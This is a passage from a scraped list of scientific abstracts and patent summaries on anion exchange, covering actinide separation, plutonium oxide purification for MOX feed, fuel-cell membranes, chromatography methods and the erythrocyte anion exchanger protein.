bicarbonate ligands DOEpatents Maya, L. 1981-11-05 A reactive ion exchange method for separation and recovery of values of uranium, neptunium, plutonium, or americium from substantially neutral aqueous systems of said metals comprises contacting said system with an effective amount of a basic anion exchange resin of copolymerized divinyl-benzene and styrene having quarternary ammonium groups and bicarbonate ligands to achieve nearly 100% sorption of said actinyl ion onto said resin and an aqueous system practically free of said actinyl ions. The method is operational over an extensive range of concentrations from about 10/sup -6/ M to 1.0 M actinyl ion and a pH range of about 4 to 7. The method has particulr application to treatment of waste streams from Purex-type nuclear fuel reprocessing facilities and hydrometallurgical processes involving U, Np, P, or Am. 16. LAB-SCALE DEMONSTRATION OF PLUTONIUM PURIFICATION BY ANION EXCHANGE, PLUTONIUM (IV) OXALATE PRECIPITATION, AND CALCINATION TO PLUTONIUM OXIDE TO SUPPORT THE MOX FEED MISSION SciTech Connect Crowder, M.; Pierce, R. 2012-08-22 H-Canyon and HB-Line are tasked with the production of PuO{sub 2} from a feed of plutonium metal. The PuO{sub 2} will provide feed material for the MOX Fuel Fabrication Facility. After dissolution of the Pu metal in H-Canyon, the solution will be transferred to HB-Line for purification by anion exchange. Subsequent unit operations include Pu(IV) oxalate precipitation, filtration and calcination to form PuO{sub 2}. This report details the results from SRNL anion exchange, precipitation, filtration, calcination, and characterization tests, as requested by HB-Line1 and described in the task plan. This study involved an 80-g batch of Pu and employed test conditions prototypical of HB-Line conditions, wherever feasible. In addition, this study integrated lessons learned from earlier anion exchange and precipitation and calcination studies. H-Area Engineering selected direct strike Pu(IV) oxalate precipitation to produce a more dense PuO{sub 2} product than expected from Pu(III) oxalate precipitation. One benefit of the Pu(IV) approach is that it eliminates the need for reduction by ascorbic acid. The proposed HB-Line precipitation process involves a digestion time of 5 minutes after the time (44 min) required for oxalic acid addition. These were the conditions during HB-line production of neptunium oxide (NpO{sub 2}). In addition, a series of small Pu(IV) oxalate precipitation tests with different digestion times were conducted to better understand the effect of digestion time on particle size, filtration efficiency and other factors. To test the recommended process conditions, researchers performed two nearly-identical larger-scale precipitation and calcination tests. The calcined batches of PuO{sub 2} were characterized for density, specific surface area (SSA), particle size, moisture content, and impurities. Because the 3013 Standard requires that the calcination (or stabilization) process eliminate organics, characterization of PuO{sub 2} batches monitored the 17. Atmospheric deposition and canopy exchange of anions and cations in two plantation forests under acid rain influence Shen, Weijun; Ren, Huili; Darrel Jenerette, G.; Hui, Dafeng; Ren, Hai 2013-01-01 Acid deposition as a widely concerned environmental problem in China has been less studied in plantation forests compared to urban and secondary forests, albeit they constitute 1/3 of the total forested areas of the country. We measured the rainwater amount and chemistry outside and beneath the canopies of two widely distributed plantations (Acacia mangium and Dimocarpus longan) in the severe acid rain influenced Pearl River Delta region of southeastern China for two years. Our results showed that the frequency of acid rain was 96% on the basis of pH value <5.6. The volume-weighted mean (vwm) pH was 4.62 and higher in the dry (Oct.-Mar.) than in the wet (Apr.-Sep.) seasons. The major acidic anion was sulfate with vwm concentration of 140 μeq l-1 and annual deposition flux of 110.3 kg ha-1 yr-1. The major neutralizing cations were calcium (94.8 μeq l-1 and 28 kg ha-1 yr-1) and ammonium (41.2 μeq l-1 and 11.7 kg ha-1 yr-1). Over 95% of these major acidic anions and neutralizing cations were derived from anthropogenic and terrestrial sources as a result of industrial, agricultural and forestry activities. Plantation canopy had marked impacts on rainwater chemistry, with the measured anion and cation concentrations being significantly enriched in throughfall (TF) and stemflow (SF) rainwater by 1.4 (for NO) to 20-fold (for K+) compared to those in bulk precipitation (BP). Dry deposition generally contributed about 13-22% of the total deposition while canopy leaching mainly occurred for K+ (>88%) and NH (10-38%). The two tree species showed distinct impacts on rainfall redistribution and rainwater chemistry due to their differences in canopy architecture and leaf/bark texture, suggesting that species-specific effects should not be overlooked while assessing the acid deposition in forested areas. 18. Anion exchange membrane prepared from simultaneous polymerization and quaternization of 4-vinyl pyridine for non-aqueous vanadium redox flow battery applications Maurya, Sandip; Shin, Sung-Hee; Sung, Ki-Won; Moon, Seung-Hyeon 2014-06-01 A simple, single step and environmentally friendly process is developed for the synthesis of anion exchange membrane (AEM) by simultaneous polymerization and quaternization, unlike the conventional membrane synthesis which consists of separate polymerization and quaternization step. The membrane synthesis is carried out by dissolving polyvinyl chloride (PVC) in cyclohexanone along with 4-vinyl pyridine (4VP) and 1,4-dibromobutane (DBB) in the presence of thermal initiator benzoyl peroxide, followed by film casting to get thin and flexible AEMs. The membrane properties such as ion exchange capacity, ionic conductivity and swelling behaviour are tuned by varying the degree of crosslinking. These AEMs exhibit low vanadium permeability, while retaining good dimensional and chemical stability in an electrolyte solution, making them appropriate candidates for non-aqueous vanadium acetylacetonate redox flow battery (VRFB) applications. The optimized membrane displays ion exchange capacity and ionic conductivity of 2.0 mequiv g-1 and 0.105 mS cm-1, respectively, whereas the efficiency of 91.7%, 95.7% and 87.7% for coulombic, voltage and energy parameter in non-aqueous VRFB, respectively. This study reveals that the non-aqueous VRFB performance is greatly influenced by membrane properties; therefore the optimal control over the membrane properties is advantageous for the improved performance. 19. On-line two-dimensional capillary strong anion exchange/reversed phase liquid chromatography-tandem mass spectrometry for comprehensive lipid analysis. PubMed Bang, Dae Young; Moon, Myeong Hee 2013-10-04 An on-line two-dimensional liquid chromatography method was developed for comprehensive lipid profiling by coupling strong anion exchange (SAX) and nanoflow reversed-phase liquid chromatography (nRPLC) prior to electrospray ionization-tandem mass spectrometry (2D-SAX/nRPLC-ESI-MS/MS). Lipids can be classified into four different types according to the electrical propensities of the lipids: anionic, weak anionic, neutral polar, and special lipids. In 2D-SAX/nRPLC, various lipids can be fractionated in the first dimension (SAX: 5 μm to 100 Å, 5.0 cm × 75 μm i.d.) by step elution (methanol and salt solution), followed by the molecular separation of lipids in the second dimension (RP: 3 μm to 100 Å, 7.0 cm × 75 μm i.d.) with binary gradient LC. Since the elution of lipids from SAX can be achieved with a very small volume of eluent delivered from an autosampler, it can be simply implemented with an LC-ESI-MS instrument for full automation, and the salt step elution, including the two-step injection procedure, can be used for the selective analysis of the desired lipid fraction. For nRPLC-ESI-MS/MS run in either positive or negative ion mode, a common ionization modifier (0.05% ammonium hydroxide with 5mM ammonium formate) was introduced into the binary mobile phase solutions so that 2D-LC-MS could be operated in both ion modes without changing the mobile phase solutions. The developed on-line 2D-SAX/nRPLC-ESI-MS/MS was evaluated with 22 different standard lipids for the optimization of the salt step elution and was applied to a healthy human plasma lipid extract, resulting in the identification of a total of 303 plasma lipids, including 14 different classes. 20. A fabrication strategy for nanosized zero valent iron (nZVI)-polymeric anion exchanger composites with tunable structure for nitrate reduction. PubMed Jiang, Zhenmao; Zhang, Shujuan; Pan, Bingcai; Wang, Wenfeng; Wang, Xiaoshu; Lv, Lu; Zhang, Weiming; Zhang, Quanxing 2012-09-30 To reveal how the distribution of nanoscale zero-valent iron (nZVI) affect their reduction efficiency of its polymer-based composites and to further develop a simple strategy to tune the structure of the composites, we prepared four nZVI-polymerstyrene anion exchanger composites with similar nZVI loadings (13.5-14.4 Fe % in mass) but different distributions just through varying the concentration of NaBH(4) (0.9, 1.8, 3.6, and 7.2% in mass) solution during reduction of nZVI precursor (FeCl(4)(-) anions). As observed by SEM-EDX images, increasing the NaBH(4) concentration resulted in a more uniform nZVI distribution within the polymer, and thereto higher NH(4)(+)N production, faster reaction rate and more gaseous products during its reduction of nitrate and nitrite. nZVI distribution of the composites was suggested to greatly depend upon two processes, the hydrolyzation of anionic FeCl(4)(-) into cationic Fe(3+) and the reduction of both Fe(III) species by NaBH(4). Higher NaBH(4) concentration favored its faster diffusion into the inside polymer and in situ reduction of Fe(III) species into nZVI, causing a more uniform nZVI distribution. The results reported herein suggest that adjusting the NaBH(4) concentration was a simple and effective method to control the nZVI distribution in the supporting polymers, and indirectly tune the reactivity of the resultant nZVI hybrids. 1. Overview of the effect of salts on biphasic ionic liquid/water solvent extraction systems: anion exchange, mutual solubility, and thermomorphic properties. PubMed Dupont, David; Depuydt, Daphne; Binnemans, Koen 2015-06-04 Hydrophobic (water-immiscible) ionic liquids (ILs) are frequently used as organic phase in solvent extraction studies. These biphasic IL/water extraction systems often also contain metal salts or mineral acids, which can significantly affect the IL trough (un)wanted anion exchange and changes in the solubility of IL in the aqueous phase. In the case of thermomorphic systems, variations in the cloud point temperature are also observed. All these effects have important repercussions on the choice of IL, suitable for a certain extraction system. In this paper, a complete overview of the implications of metal salts on biphasic IL/water systems is given. Using the Hofmeister series as a starting point, a range of intuitive prediction models are introduced, supported by experimental evidence for several hydrophobic ILs, relevant to solvent extraction. Particular emphasis is placed on the IL betainium bis(trifluoromethylsulfonyl)imide [Hbet][Tf2N]. The aim of this work is to provide a comprehensive interpretation of the observed effects of metal salts, so that it can be used to predict the effect on any given biphasic IL/water system instead of relying on case-by-case reports. These prediction tools for the impact of metal salts can be useful to optimize IL synthesis procedures, extraction systems and thermomorphic properties. Some new insights are also provided for the rational design of ILs with UCST or LCST behavior based on the choice of IL anion. 2. X-ray Lithography on Perovskite Nanocrystals Films: From Patterning with Anion-Exchange Reactions to Enhanced Stability in Air and Water PubMed Central 2015-01-01 Films of colloidal CsPbX3 (X = I, Br or Cl) nanocrystals, prepared by solution drop-casting or spin-coating on a silicon substrate, were exposed to a low flux of X-rays from an X-ray photoelectron spectrometer source, causing intermolecular C=C bonding of the organic ligands that coat the surface of the nanocrystals. This transformation of the ligand shell resulted in a greater stability of the film, which translated into the following features: (i) Insolubility of the exposed regions in organic solvents which caused instead complete dissolution of the unexposed regions. This enabled the fabrication of stable and strongly fluorescent patterns over millimeter scale areas. (ii) Inhibition of the irradiated regions toward halide anion exchange reactions, when the films were exposed either to halide anions in solution or to hydrohalic vapors. This feature was exploited to create patterned regions of different CsPbIxBryClz compositions, starting from a film with homogeneous CsPbX3 composition. (iii) Resistance of the films to degradation caused by exposure to air and moisture, which represents one of the major drawbacks for the integration of these materials in devices. (iv) Stability of the film in water and biological buffer, which can open interesting perspectives for applications of halide perovskite nanocrystals in aqueous environments. PMID:26617344 3. Determination of sucralose in Splenda and a sugar-free beverage using high-performance anion-exchange chromatography with pulsed amperometric detection. PubMed Hanko, Valoran P; Rohrer, Jeffrey S 2004-07-14 Sucralose is a chlorinated carbohydrate nonnutritive sweetener of food and beverage products. The determination of sucralose in food and beverages is important to ensure consistency in product quality. Sucralose was determined in two commercial products without sample preparation using high-performance anion-exchange (HPAE) chromatography coupled with pulsed amperometric detection (PAD). Sucralose was determined with a 10 min isocratic separation. To determine sucralose and other carbohydrates (e.g., dextrose) simultaneously, a gradient separation was developed. The linear range of electrochemical response extended over 3 orders of magnitude, from 0.01 (LOD) to 40 microM (16 microg/mL; 25 microL injection). High precision, high spike recovery, and method ruggedness were observed for both samples. 4. [Effects and mechanism on removing organics and reduction of membrane fouling using granular macro-porous anion exchange resin in drinking water treatment]. PubMed He, Huan; Dong, Bing-Zhi; Xu, Guang-Hong; Yan, Zhao-Hui 2014-05-01 A granular macro-porous anion exchange resin combined with coagulation was used as pretreatment of microfiltration membrane, and their effects and mechanism on removing organics and reduction of membrane fouling were evaluated. The results showed that resin could be effective in removing organics with medium and small molecular weight ( Mr) but ineffective in removing organics with large Mr, while couagulation could significantly remove organics with large Mr, with a limited removal for organics with medium and small Mr. Using resin alone as pretreatment could be effective in removal of organics but limited in reduction of membrane fouling. With combination of coagulation and resin as pretreatment of microfiltration, not only organics could be removed effectively, but also membrane fouling could be reduced. 5. Optimization of SHINE Process: Design and Verification of Plant-Scale AG 1 Anion-Exchange Concentration Column and Titania Sorbent Pretreatment SciTech Connect Stepinski, Dominique C.; Abdul, Momen; Youker, Amanda J.; Rotsch, David A.; Tkac, Peter; Chemerisov, Sergey; Vandegrift, George F. 2016-06-01 Argonne National Laboratory has developed a Mo-recovery and -purification system for the SHINE medical technologies process, which uses a uranyl sulfate solution for the accelerator-driven production of Mo-99. The objective of this effort is to reduce the processing time for the acidification of the Mo-99 product prior to loading onto a concentration column and concentration of the Mo-99 product solution. Two methods were investigated: (1) the replacement of the titania concentration column by an anion-exchange column to decrease processing time and increase the radioiodine-decontamination efficiency and (2) pretreatment of the titania sorbent to improve its effectiveness for the Mo-recovery and -concentration columns. Promising results are reported for both methods. 6. Identification of PCR-amplified genetically modified organisms (GMOs) DNA by peptide nucleic acid (PNA) probes in anion-exchange chromatographic analysis. PubMed Rossi, Stefano; Lesignoli, Francesca; Germini, Andrea; Faccini, Andrea; Sforza, Stefano; Corradini, Roberto; Marchelli, Rosangela 2007-04-04 PCR products obtained by selective amplification of transgenic DNA derived from food samples containing Roundup Ready soybean or Bt-176 maize have been analyzed by anion-exchange HPLC. Peptide nucleic acids (PNAs), oligonucleotide analogues known to bind to complementary single-stranded DNA with high affinity and specificity, have been used as specific probes in order to assess the identity of the peaks observed. Two different protocols were adopted in order to obtain single-stranded DNA: amplification with an excess of one primer or digestion of one DNA strand. The single-stranded DNA was mixed with the PNA probe, and the presence of a specific sequence was revealed through detection of the corresponding PNA:DNA peak with significantly different retention time. Advantages and limits of this approach are discussed. The method was tested with reference materials and subsequently applied to commercial samples. 7. Automated flow-based anion-exchange method for high-throughput isolation and real-time monitoring of RuBisCO in plant extracts. PubMed Suárez, Ruth; Miró, Manuel; Cerdà, Víctor; Perdomo, Juan Alejandro; Galmés, Jeroni 2011-06-15 In this work, a miniaturized, completely enclosed multisyringe-flow system is proposed for high-throughput purification of RuBisCO from Triticum aestivum extracts. The automated method capitalizes on the uptake of the target protein at 4°C onto Q-Sepharose Fast Flow strong anion-exchanger packed in a cylindrical microcolumn (105 × 4 mm) followed by a stepwise ionic-strength gradient elution (0-0.8 mol/L NaCl) to eliminate concomitant extract components and retrieve highly purified RuBisCO. The manifold is furnished downstream with a flow-through diode-array UV/vis spectrophotometer for real-time monitoring of the column effluent at the protein-specific wavelength of 280 nm to detect the elution of RuBisCO. Quantitation of RuBisCO and total soluble proteins in the eluate fractions were undertaken using polyacrylamide gel electrophoresis (PAGE) and the spectrophotometric Bradford assay, respectively. A comprehensive investigation of the effect of distinct concentration gradients on the isolation of RuBisCO and experimental conditions (namely, type of resin, column dimensions and mobile-phase flow rate) upon column capacity and analyte breakthrough was effected. The assembled set-up was aimed to critically ascertain the efficiency of preliminary batchwise pre-treatments of crude plant extracts (viz., polyethylenglycol (PEG) precipitation, ammonium sulphate precipitation and sucrose gradient centrifugation) in terms of RuBisCO purification and absolute recovery prior to automated anion-exchange column separation. Under the optimum physical and chemical conditions, the flow-through column system is able to admit crude plant extracts and gives rise to RuBisCO purification yields better than 75%, which might be increased up to 96 ± 9% with a prior PEG fractionation followed by sucrose gradient step. 8. Sulfur geochemistry of hydrothermal waters in Yellowstone National Park, Wyoming, USA. III. An anion-exchange resin technique for sampling and preservation of sulfoxyanions in natural waters USGS Publications Warehouse Druschel, G.K.; Schoonen, M.A.A.; Nordstorm, D.K.; Ball, J.W.; Xu, Y.; Cohn, C.A. 2003-01-01 A sampling protocol for the retention, extraction, and analysis of sulfoxyanions in hydrothermal waters has been developed in the laboratory and tested at Yellowstone National Park and Green Lake, NY. Initial laboratory testing of the anion-exchange resin Bio-Rad??? AG1-X8 indicated that the resin was well suited for the sampling, preservation, and extraction of sulfate and thiosulfate. Synthetic solutions containing sulfate and thiosulfate were passed through AG1-X8 resin columns and eluted with 1 and 3 M KCl, respectively. Recovery ranged from 89 to 100%. Comparison of results for water samples collected from five pools in Yellowstone National Park between on-site IC analysis (U.S. Geological Survey mobile lab) and IC analysis of resin-stored sample at SUNY-Stony Brook indicates 96 to 100% agreement for three pools (Cinder, Cistern, and an unnamed pool near Cistern) and 76 and 63% agreement for two pools (Sulfur Dust and Frying Pan). Attempts to extract polythionates from the AG1-X8 resin were made using HCl solutions, but were unsuccessful. Bio-Rad??? AG2-X8, an anion-exchange resin with weaker binding sites than the AG1-X8 resin, is better suited for polythionate extraction. Sulfate and thiosulfate extraction with this resin has been accomplished with KCl solutions of 0.1 and 0.5 M, respectively. Trithionate and tetrathionate can be extracted with 4 M KCl. Higher polythionates can be extracted with 9 M hydrochloric acid. Polythionate concentrations can then be determined directly using ion chromatographic methods, and laboratory results indicate recovery of up to 90% for synthetic polythionate solutions using AG2-X8 resin columns. ?? The Royal Society of Chemistry and the Division of Geochemistry of the American Chemical Society 2003. 9. Surface charge fine tuning of reversed-phase/weak anion-exchange type mixed-mode stationary phases for milder elution conditions. PubMed Zimmermann, Aleksandra; Horak, Jeannie; Sánchez-Muñoz, Orlando L; Lämmerhofer, Michael 2015-08-28 A series of new mixed-mode reversed-phase/weak anion-exchange (RP/WAX) phases have been synthesized by immobilization of N-undecenyl-3-α-aminotropane onto thiol-modified silica gel by thiol-ene click chemistry and subsequent introduction of acidic thiol-endcapping functionalities of different type and surface densities. Click chemistry allowed to adjust a controlled surface concentration of the RP/WAX ligand in such a way that a sufficient quantity of residual thiols remained unmodified which have been capped by thiol click with either 3-butenoic acid or allylsulfonic acid as co-ligands. In another embodiment, performic acid oxidation of N-undecenyl-3-α-aminotropane-derivatized thiol-modified silica gave a RP/WAX phase with high density of sulfonic acid end-capping groups. ζ-Potential determinations confirmed the fine-tuned pI of these mixed-mode stationary phases which was shifted from 9.5 to 8.2, 7.8, and 6.5 with 3-butenoic acid and allylsulfonic acid end-capping as well as performic acid oxidation. For acidic solutes, the co-ionic endcapping leads to strongly reduced retention times and clearly allowed elution of these analytes under lower ionic strength thus milder elution conditions. In spite of the acidic endcapping, the new mixed-mode phases maintained their hydrophobic and anion-exchange selectivity as well as their multimodal nature featuring RP and HILIC elution domains at acetonitrile percentages below and above 50%, respectively. Column classification by principal component analysis of an extended retention map in comparison to a set of polar commercial and in-house synthesized stationary phases confirmed complementarity of the new mixed-mode phases with respect to HILIC, polar RP, amino and commercial mixed-mode phases. 10. Stability, water exchange, and anion binding studies on lanthanide(III) complexes with a macrocyclic ligand based on 1,7-diaza-12-crown-4: extremely fast water exchange on the Gd3+ complex. PubMed Pálinkás, Zoltán; Roca-Sabio, Adrián; Mato-Iglesias, Marta; Esteban-Gómez, David; Platas-Iglesias, Carlos; de Blas, Andrés; Rodríguez-Blas, Teresa; Tóth, Eva 2009-09-21 The picolinate-derivative ligand based on the 1,7-diaza-12-crown-4 platform (bp12c4(2-)) forms stable Ln(3+) complexes with stability constants increasing from the early to the middle lanthanides, then being relatively constant for the rest of the series (logK(LnL) = 16.81(0.06), 18.82(0.01), and 18.08(0.05) for Ln = La, Gd, and Yb, respectively). The complex formation is fast, allowing for direct potentiometric titrations to assess the stability constants. In the presence of Zn(2+), the dissociation of [Gd(bp12c4)](+) proceeds both via proton- and metal-assisted pathways, and in this respect, this system is intermediate between DTPA-type and macrocyclic, DOTA-type chelates, for which the dissociation is predominated by metal- or proton-assisted pathways, respectively. The Cu(2+) exchange shows an unexpected pH dependency, with the observed rate constants decreasing with increasing proton concentration. The rate of water exchange, assessed by (17)O NMR, is extremely high on the [Gd(bp12c4)(H(2)O)(q)](+) complex (k(ex)(298) = (2.20 +/- 0.15) x 10(8) s(-1)), and is in the same order of magnitude as for the Gd(3+) aqua ion (k(ex)(298) = 8.0 x 10(8) s(-1)). In aqueous solution, the [Gd(bp12c4)(H(2)O)(q)](+) complex is present in hydration equilibrium between nine-coordinate, monohydrated, and ten-coordinate, bishydrated species. We attribute the fast exchange to the hydration equilibrium and to the flexible nature of the inner coordination sphere. The large negative value of the activation entropy (DeltaS = -35 +/- 8 J mol(-1) K(-1)) points to an associative character for the water exchange and suggests that water exchange on the nine-coordinate, monohydrated species is predominant in the overall exchange. Relaxometric and luminescence measurements on the Gd(3+) and Eu(3+) analogues, respectively, indicate strong binding of endogenous anions such as citrate, hydrogencarbonate, or phosphate to [Ln(bp12c4)](+) complexes (K(aff) = 280 +/- 20 M(-1), 630 +/- 50 M(-1), and 11. Improvements to in-line desalting of oligosaccharides separated by high-pH anion exchange chromatography with pulsed amperometric detection. PubMed Thayer, J R; Rohrer, J S; Avdalovic, N; Gearing, R P 1998-02-15 High-pH anion exchange chromatography with pulsed amperometric detection (HPAEC/PAD) (1) is routinely used to separate neutral and charged oligosaccharides differing by branch, linkage, and positional isomerism. Oligosaccharides are eluted in 0.1 M NaOH with gradients of sodium acetate (up to 0.25 M). Analyses of HPAEC/PAD-purified oligosaccharides generally require neutralization and removal of eluent salts. To facilitate the process, we designed and produced a cation-exchange system to remove sodium ions (Na+) from the eluent after oligosaccharide detection [the Carbohydrate Membrane Desalter (CMD), with a volatile regenerant]. Exchange of >99.5% of eluent Na+ for hydronium ions (H3O+) within the CMD generates dilute acetic acid (removable by vacuum evaporation). The exchange process desalts up to 0.35 M Na+ at 1.0 ml/min. Oligosaccharides collected after on-line desalting, evaporated and resuspended in their original volume of deionized water contained < or = 350 muM residual Na+ when the eluting sodium concentration was 300 mM. This represents a desalting efficiency of >99.8%. Recovery of neutral and sialylated oligosaccharides under these conditions ranged from 75 to 100%. With the CMD system and postcollection evaporation, HPAEC/PAD can purify oligosaccharides ready for further characterization. As a proof test, oligosaccharides from a human monoclonal antibody were separated by HPAEC/PAD, desalted with the CMD system, dried, and analyzed by matrix-assisted laser desorption-ionization, time-of-flight mass spectrometry. 12. High-Resolution Coarse-Grained Model of Hydrated Anion-Exchange Membranes that Accounts for Hydrophobic and Ionic Interactions through Short-Ranged Potentials. PubMed Lu, Jibao; Jacobson, Liam C; Perez Sirkin, Yamila A; Molinero, Valeria 2017-01-10 Molecular simulations provide a versatile tool to study the structure, anion conductivity, and stability of anion-exchange membrane (AEM) materials and can provide a fundamental understanding of the relation between structure and property of membranes that is key for their use in fuel cells and other applications. The quest for large spatial and temporal scales required to model the multiscale structure and transport processes in the polymer electrolyte membranes, however, cannot be met with fully atomistic models, and the available coarse-grained (CG) models suffer from several challenges associated with their low-resolution. Here, we develop a high-resolution CG force field for hydrated polyphenylene oxide/trimethylamine chloride (PPO/TMACl) membranes compatible with the mW water model using a hierarchical parametrization approach based on Uncertainty Quantification and reference atomistic simulations modeled with the Generalized Amber Force Field (GAFF) and TIP4P/2005 water. The parametrization weighs multiple properties, including coordination numbers, radial distribution functions (RDFs), self-diffusion coefficients of water and ions, relative vapor pressure of water in the solution, hydration enthalpy of the tetramethylammonium chloride (TMACl) salt, and cohesive energy of its aqueous solutions. We analyze the interdependence between properties and address how to compromise between the accuracies of the properties to achieve an overall best representability. Our optimized CG model FFcomp quantitatively reproduces the diffusivities and RDFs of the reference atomistic model and qualitatively reproduces the experimental relative vapor pressure of water in solutions of tetramethylammonium chloride. These properties are of utmost relevance for the design and operation of fuel cell membranes. To our knowledge, this is the first CG model that includes explicitly each water and ion and accounts for hydrophobic, ionic, and intramolecular interactions explicitly 13. Preparing alkaline anion exchange membrane with enhanced hydroxide conductivity via blending imidazolium-functionalized and sulfonated poly(ether ether ketone) Li, Zhen; Jiang, Zhongyi; Tian, Huimin; Wang, Siwen; Zhang, Bei; Cao, Ying; He, Guangwei; Li, Zongyu; Wu, Hong 2015-08-01 The development of alkaline anion exchange membrane (AEM) with both high ion conductivity and stabilities is of great significance for fuel cell applications. In this study, a facile acid-base blending method is designed to improve AEM performances. Basic imidazolium-functionalized poly (ether ether ketone) with a high functionalization degree is employed as polymer matrix to pursue high ion-exchange capacity (IEC) as well as high hydroxide conductivity, meanwhile acidic sulfonated poly (ether ether ketone) (SPEEK) is employed as the cross-linking agent to enhance the stabilities of the blend membranes. Particularly, an in-situ Menshutkin/crosslinking method is exploited to prevent the flocculation in the preparation process of blend membranes. As a result, dense and defect-free blend membranes are obtained. The blend membranes exhibit high level of IEC up to 3.15 mmol g-1, and consequently possess elevated hydroxide conductivity up to 31.59 mS cm-1 at 30 °C. In addition, benefiting from the strong electrostatic interaction introduced by the acid-base blending, the stabilities and methanol resistance of blend membranes are enhanced. 14. A Pd/C-CeO2 Anode Catalyst for High-Performance Platinum-Free Anion Exchange Membrane Fuel Cells. PubMed Miller, Hamish A; Lavacchi, Alessandro; Vizza, Francesco; Marelli, Marcello; Di Benedetto, Francesco; D'Acapito, Francesco; Paska, Yair; Page, Miles; Dekel, Dario R 2016-05-10 One of the biggest obstacles to the dissemination of fuel cells is their cost, a large part of which is due to platinum (Pt) electrocatalysts. Complete removal of Pt is a difficult if not impossible task for proton exchange membrane fuel cells (PEM-FCs). The anion exchange membrane fuel cell (AEM-FC) has long been proposed as a solution as non-Pt metals may be employed. Despite this, few examples of Pt-free AEM-FCs have been demonstrated with modest power output. The main obstacle preventing the realization of a high power density Pt-free AEM-FC is sluggish hydrogen oxidation (HOR) kinetics of the anode catalyst. Here we describe a Pt-free AEM-FC that employs a mixed carbon-CeO2 supported palladium (Pd) anode catalyst that exhibits enhanced kinetics for the HOR. AEM-FC tests run on dry H2 and pure air show peak power densities of more than 500 mW cm(-2) . 15. Synthesis and characterizations of anion exchange organic-inorganic hybrid materials based on poly(2,6-dimethyl-1,4-phenylene oxide) (PPO) SciTech Connect Zhang Shaoling; Wu Cuiming; Xu Tongwen . E-mail: [email protected]; Gong Ming; Xu Xiaolong 2005-07-15 A series of poly(2,6-dimethyl-1,4-phenylene oxide) (PPO)-based organic-inorganic hybrid materials for anion exchange were prepared through sol-gel process of polymer precursors PPO-Si(OCH{sub 3}){sub 3}. PPO-Si(OCH{sub 3}){sub 3} were obtained from the reaction of bromomethylated PPO with 3-aminopropyl-trimethoxysilane (A1110). These polymer precursors then underwent hydrolysis and condensation with additional A1110 to generate hybrid materials. The reaction to produce polymer precursors was identified by FTIR; while FTIR, TGA, XRD, SEM, as well as conventional ion exchange capacity (IEC) measurements were conducted for the structures and properties of the prepared hybrids. TGA results show that this series of hybrid materials possess high thermal stability; XRD and SEM indicate that the prepared hybrid materials are amorphous and the inorganic and organic contents show good compatibility if the ratio between them is proper. The IEC values of the hybrid materials due to the amine groups range from 1.13 mmol/gBPPO (material i) to 4.80 mmol/gBPPO (material iv) 16. Kinetic study of the concentration dependence of the mass transfer rate coefficient in anion-exchange chromatography of bovine serum albumin SciTech Connect Miyabe, Kanji; Guiochon, G. \| 1999-07-01 The experimental results of a previous study of the mass transfer kinetics of bovine serum albumin (BSA) in ion-exchange chromatography under nonlinear conditions are reevaluated. The analysis of the concentration dependence of the lumped mass-transfer rate coefficient (k{sub m,L}) provides information on the kinetics of axial dispersion, fluid-to-particle mass transfer, intraparticle mass transfer, and adsorption/desorption. The new analysis shows that the contribution of intraparticle mass transfer is the dominant one. Similar to k{sub m,L}, the surface diffusivity (D{sub s}) of BSA increases with increasing concentration. The linear concentration dependence of k{sub m,L} seems to originate in a similar dependence of D{sub s}. The use of a heterogeneous-surface model for the anion-exchange resin provides an explanation of the positive concentration dependence of D{sub s}. This work illustrates how frontal analysis data can be used for a detailed investigation of the kinetics of mass transfer between the phases of a chromatographic column, in addition to its conventional use in the determination of the thermodynamic characteristics of the phase equilibrium. 17. Single particle electron microscopy analysis of the bovine anion exchanger 1 reveals a flexible linker connecting the cytoplasmic and membrane domains. PubMed Jiang, Jiansen; Magilnick, Nathaniel; Tsirulnikov, Kirill; Abuladze, Natalia; Atanasov, Ivo; Ge, Peng; Narla, Mohandas; Pushkin, Alexander; Zhou, Z Hong; Kurtz, Ira 2013-01-01 Anion exchanger 1 (AE1) is the major erythrocyte membrane protein that mediates chloride/bicarbonate exchange across the erythrocyte membrane facilitating CO₂ transport by the blood, and anchors the plasma membrane to the spectrin-based cytoskeleton. This multi-protein cytoskeletal complex plays an important role in erythrocyte elasticity and membrane stability. An in-frame AE1 deletion of nine amino acids in the cytoplasmic domain in a proximity to the membrane domain results in a marked increase in membrane rigidity and ovalocytic red cells in the disease Southeast Asian Ovalocytosis (SAO). We hypothesized that AE1 has a flexible region connecting the cytoplasmic and membrane domains, which is partially deleted in SAO, thus causing the loss of erythrocyte elasticity. To explore this hypothesis, we developed a new non-denaturing method of AE1 purification from bovine erythrocyte membranes. A three-dimensional (3D) structure of bovine AE1 at 2.4 nm resolution was obtained by negative staining electron microscopy, orthogonal tilt reconstruction and single particle analysis. The cytoplasmic and membrane domains are connected by two parallel linkers. Image classification demonstrated substantial flexibility in the linker region. We propose a mechanism whereby flexibility of the linker region plays a critical role in regulating red cell elasticity. 18. Single Particle Electron Microscopy Analysis of the Bovine Anion Exchanger 1 Reveals a Flexible Linker Connecting the Cytoplasmic and Membrane Domains PubMed Central Abuladze, Natalia; Atanasov, Ivo; Ge, Peng; Narla, Mohandas; Pushkin, Alexander; Zhou, Z. Hong; Kurtz, Ira 2013-01-01 Anion exchanger 1 (AE1) is the major erythrocyte membrane protein that mediates chloride/bicarbonate exchange across the erythrocyte membrane facilitating CO2 transport by the blood, and anchors the plasma membrane to the spectrin-based cytoskeleton. This multi-protein cytoskeletal complex plays an important role in erythrocyte elasticity and membrane stability. An in-frame AE1 deletion of nine amino acids in the cytoplasmic domain in a proximity to the membrane domain results in a marked increase in membrane rigidity and ovalocytic red cells in the disease Southeast Asian Ovalocytosis (SAO). We hypothesized that AE1 has a flexible region connecting the cytoplasmic and membrane domains, which is partially deleted in SAO, thus causing the loss of erythrocyte elasticity. To explore this hypothesis, we developed a new non-denaturing method of AE1 purification from bovine erythrocyte membranes. A three-dimensional (3D) structure of bovine AE1 at 2.4 nm resolution was obtained by negative staining electron microscopy, orthogonal tilt reconstruction and single particle analysis. The cytoplasmic and membrane domains are connected by two parallel linkers. Image classification demonstrated substantial flexibility in the linker region. We propose a mechanism whereby flexibility of the linker region plays a critical role in regulating red cell elasticity. PMID:23393575 19. The effects of ionizing radiation on Reillex trademark HPQ, a new macroporous polyvinylpyridine resin, and on four conventional polystyrene anion exchange resins SciTech Connect Marsh, S.F. 1990-11-01 20. Interplay between water uptake, ion interactions, and conductivity in an e-beam grafted poly(ethylene-co-tetrafluoroethylene) anion exchange membrane SciTech Connect Pandey, Tara P.; Maes, Ashley M.; Sarode, Himanshu N.; 